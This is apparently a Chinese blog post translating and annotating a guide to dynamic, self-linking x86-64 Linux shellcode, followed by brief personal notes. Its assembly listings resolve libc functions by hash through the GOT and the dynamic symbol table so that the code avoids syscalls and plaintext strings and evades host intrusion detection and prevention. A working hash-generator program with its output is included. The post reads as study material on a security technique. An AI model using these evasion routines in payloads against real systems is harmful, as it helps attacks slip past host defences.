Shellcode/Dynamic

动态shellcode

意译:Shellcode/Dynamic

动态shellcode是自链接的shellcode,用来规避多种主机层面的防护措施,比如主机入侵检测系统(HIDS)或者主机入侵防护系统(HIPS)。这些措施能阻止传统的null-free shellcode。通过动态shellcode技术,实现比如不包含中断、系统调用或者明文函数字符串等。

[TOC]

评价

大多安全设施组件都基于RAM的数据和标记为可执行的内容进行运行时分析。而且,许多系统甚至从内核检查内核中断和系统调用(linux审计工具audit就做这个)。其它也许监视ld-linux中提供给普通应用使用共享库调用的=ldruntimeresolve=的运行,=dlfixup()=的蹦床(trampoline,确定不是函数式编程????)等。当应用尝试执行不在它们=.text=段的系统调用或中断、或者尝试使用=ldruntimeresolve=,=dlfixup=,=dlopen=,=dlclose=或者=dlsym=来导入一个不在它导入表(import talbe)的函数时,会触发许多安全系统的警告。另外,使用比如像=dlopen()=和=dlsym()=这样的函数需要使用明文字符串。任何一般的分析都能很容易迅速逆向有效载荷,这是传统null-free shellcode的另一个问题。

一个动态shellcode引擎能够解决这些问题。通过避免C调用惯例使用的寄存器,它可以构建允许开发者写出动态自链接代码的链接器(linker)。于是完全不再需要中断或者系统调用,因为链接器能不倚靠操作系统导入函数。另外,函数哈希被用作阻止函数名通过字符串呈现,解决了上面标准null-free shellcode有的问题。

C调用惯例的影响

通常的系统调用格式或者libc函数调用:

function_call(%rax) = function(%rdi,  %rsi,  %rdx,  %r10,  %r8,  %r9)

返回值通常置于=rax=中,然而当结构指针被作为参数传递时,在那个参数寄存器中一个指向更改过的结构的指针被返回。

以上陈述显示:写一个链接器时,以下寄存器在没有系统调用的调用之前,不必为函数调用保存。

%rax, %rbx, %rcx, %rbp, %r11, %r12, %r13, %r14, %r15

大多数寄存器能更改或者被各种libc函数更改,然而=rbx=在libc中被保留为开发者使用。当写一个动态链接器时,函数参数必须被保留,这样开发者能轻易写出动态集成的代码。最后,链接器取=rbx=作为库的基址指针,=rbp=用来哈希函数。这确保了开发者能保持对=rax=,=rdi=,=rsi=,=rdx=,=r10=,=r8=和=r9=的控制。=rcx=寄存器被用来作为指向调用函数标签的指针,也许应在函数调用间被保留。

函数哈希

这个功能希望=rdx=是0,=rsi=中是指向字符串的指针。接着它完成字符串的单向32位哈希并保存在=rsi=中。

首先,把被哈希程序(hasher)使用的不是=rsi=的寄存器保留:

calc_hash:

preserve_regs:
    push rax
    push rdx

=rdx=作为调用哈希程序的代码的零寄存器(zreg/zero register)。可以指通过简单的=push/pop=把=rax=置零来:

initialize_regs:
    push rdx
    pop rax

接着,DF位(directional flag)被清空。这很重要,因为接下来的哈希过程使用了=lodsd=,而有漏洞应用的DF位不确定。

cld

接着,=al=中的字节和=edx=相加,结果存入=edx=。左移12位(0xc),当=lodsd=载入的字节是null时,哈希值就计算完毕了。

calc_hash_loop:
    lodsb
    rol edx, 0xc
    add edx, eax
    test al, al
    jnz calc_hash_loop

接着使用push和pop把哈希置入=rsi=:

calc_done:
    push rdx
    pop rsi

最后,恢复保存到寄存器

restore_regs:
    pop rdx
    pop rax

遍历到GOT的动态节(dynamic section)

当前执行进程的动态节程序头总是在VMA(Virtual Memory Adress,虚拟内存地址)=0x00400130=。以下是个没有=\x00=(null-free)的版本:

_start:
    push 0x400130ff
    pop rbx
    shr ebx, 0x8

指向动态节的指针被抽取,长度被添加到动态节的长度上。GOT(Global Offset Table,全局偏移表)刚好就在动态节后面。通过以这种方式计算偏移量,可以不必从文件头中读取GOT的位置来遍历GOT。这有无数的好处。(译者:不知道有啥好处。。。)

fast_got:
    mov rcx, [rbx]
    add rcx, [rbx+0x10]

抽取一个库指针

这个代码从GOT抽取个指向libc中任意函数的指针。比如在=rcx+0x18=地方,有指向=dlruntimeresolve=的指针。

extract_pointer:
    mov rbx, [rcx+0x20]

现在寻找想要导入的二进制文件的基指针,首先寻找=\x7fELF=。因为RAM倒着保存信息,使用逆向比较来决定何时逆向循环。

find_base:
    dec rbx
    cmp [rbx], 0x464c457f
    jne find_base

用户定义代码

现在基指针被计算出来,该载入开发者或用户的代码了。为了让调用函数(invoke_function)从寄存器中可重用,通过getPC来把调用函数的地址存入=rcx=。

jmp startup

__initialize_world:
    pop rcx
    jmp _world

startup:
    call __initialize_word

invoke_function:
    ...
_world:
    ; user-defined code goes here

接口

这里开发的运行时链接器能让用户自定的代码从=world=开始。这个接口让开发者能提供函数哈希到=rbp=并且执行=call [rcx]=代替系统调用。这个例子描述了从内核调用exit(0)到使用链接器的API来调用exit(0)的过程。

以未链接的exit形式开始:

exit:
    push 0x3c
    pop rax
    xor rdi, rdi
    syscall

哈希=exit=(上面的相加右移)得到=0x696c4780=

 ✘  ~/Work/project/blackhat/shellcode  cat hash-generator.s 
BITS 64

global _start
_start:
    jmp startup

calc_hash:
; accept rsi hold function name.
; rdx=0 first
; return hash in rsi
; use rax, rdx, rsi
    ; preserve rax&rdx
    push rax    ; use as accum
    push rdx    ; zero register

    initialize_regs:
        push rdx
        pop rax ;rax = 0
        cld; clear zf for lodsb

        calc_hash_loop:
            lodsb   ; load one byte from rsi to al
            rol edx, 0xc    ;right shift 12bits
            add edx, eax    ;add eax to edx
            test al, al     ; if al='\0'
            jnz calc_hash_loop

    calc_done:
        push rdx
        pop rsi ; move hash in rdx to rsi

    pop rdx
    pop rax ; restore rdx&rax
ret

startup:
    pop rax ; pointer to calc_hash
    pop rax ; argc
    pop rsi ; pointer to argv[]

    xor rdx, rdx    ;rdx=0
    call calc_hash

    push rsi    ; save hash on stack
    mov rsi, rsp    ; rsi hold pointer to hash now

    push rdx    ; null
    mov rcx, rsp    ; rcx hold pointer to null now

    mov rdi, 0x4
    loop:
        ; 倒着复制的
        dec rdi
        mov al, [rsi+rdi*1]
        mov [rcx+rdx*1], al
        inc rdx
        cmp rdi, 0  ; gas 竟然不能cmp %rdi, $0....但可以倒过来
        jnz loop

    mov rsi, rcx    ;rsi hold pointer to reverse hash
    inc rdi ; rdi = 1
    mov rax, rdi    ; rax = 1
    syscall         ; write(1, reverse hash)

    mov rax, 0x3c   ; rax=60
    dec rdi         ; rdi=0
    syscall         ; exit(0)
 ~/Work/project/blackhat/shellcode  nasm -felf64 hash-generator.s -o hash-generator.o
 ~/Work/project/blackhat/shellcode  ld hash-generator.o -o hash-generator
 ~/Work/project/blackhat/shellcode  ./hash-generator exit|hexdump -C
00000000  69 6c 47 80                                       |ilG.|
00000004

所以,=world=这么写

_world:
    push 0x696c4780
    pop rbp ; 正好倒过来,看看hash-generator.s的代码
    xor rdi, rdi
    call [rcx]

开发者应该记着当调用那些可能改变寄存器的调用函数时保存=rcx=。或者通过更改=_initializeworld=中pop到的寄存器来移除限制。

调用的函数

这个注释是为了防止开发者忘记接口功能:

;
;  Takes a function hash in %rbp and base pointer in %rbx
;  >Parses the dynamic program headers of the ELF64 image
;  >Uses ROP to invoke the function on the way back to the
;  -normal return location
;
;  Returns results of function to invoke.
;

所有和libc交互的寄存器和任何可能被链接器使用的寄存器必须被保留,这样它们才能在函数调用时被恢复,=rbp=寄存器被保留两次。这时因为第一次保留在返回前被指向目的函数的指针覆盖。这让shellcode从目的函数返回到开发者定义的函数。

invoke_function:
    push rbp
    push rbp
    push rdx
    push rdi
    push rax
    push rbx
    push rsi

将=rdx=赋为0,吧函数哈希放入=rdi=来进行将来的比较

set_regs:
    xor rdx, rdx
    push rbp
    pop rdi

然后目的库导入的基址指针就放入=rbp=

copy_base:
    push rbx
    pop rbp

需要读取=[rbx+0x130]=四字节,但是添加到八字节的寄存器。

read_dynamic_section:
    push 0x4c
    pop rax
    add rbx, [rbx + rax * 4]

找到函数导出表,一般叫做=.dynsym=,或者动态符号表。通过遍历头检查动态节的类型。

check_dynamic_type:
    add rbx, 0x10
    cmpb [rbx], 0x5
    jne check_dynamic_type

一旦ebx指向程序头中正确的位置;放置字符串表的绝对地址到=rax=和动态符号表的绝对地址到=rbx=。

string_table_found:
    mov rax, [rbx+0x8]  ; rax是动态字符串表的地址
    mov rbx, [rbx+0x18] ; rbx是指向符号表的地址

接着,增加到下一个导出,指向字符串的指针被放入=rsi=来哈希

check_next_hash:
    add rbx, 0x18   ;下一个条目
    push rdx
    pop rsi
    xor si, [rbx]
    add rsi, rax

=calchash=标签被如上描述方式调用来哈希函数名。

calc_hash:
    ...

比较当前导出表的函数哈希和想要导出的函数哈希,如果不匹配则跳到下一次导入:

check_current_hash:
    cmp edi, esi
    jne check_next_hash

一旦哈希被找到,它的函数偏移位于=[rbx+0x8]=四字节。=rdx=被用来作为零寄存器来得到没有=\x00=的四字节。FIXME(not so) 添加到=rbp=基址指针:

found_hash:
    add rbp, [rbx+4*rdx+0x8]

这里,第一个例子中被保留的=rbp=被目的函数的地址覆盖。

mov [esp+0x30], rbp

最后恢复所有寄存器。

    pop rsi
    pop rbx
    pop rax
    pop rdi
    pop rdx
    pop rbp
ret

跳到目的函数代码。

动态shell

一旦添加链接器,一个115字节的socket重用载荷就变成了268字节的动态载入版本。这里有几种优化的方式,作为读者的练习。。。我得回头看看。。。

算了,我先看看Load-time relocation of shared libraries

令上午承蒙翔哥内推,刚填了简历,下午竟然就给我打电话电面了。。。然后就是强行谈及二进制安全被血虐最后被鄙视的过程,哈哈哈。

慢慢看,不把安全作为工作也许是种幸福呢。

毕业前:

  • 游戏

兴趣:

  • 统计学习
  • 二进制安全

工作: - ?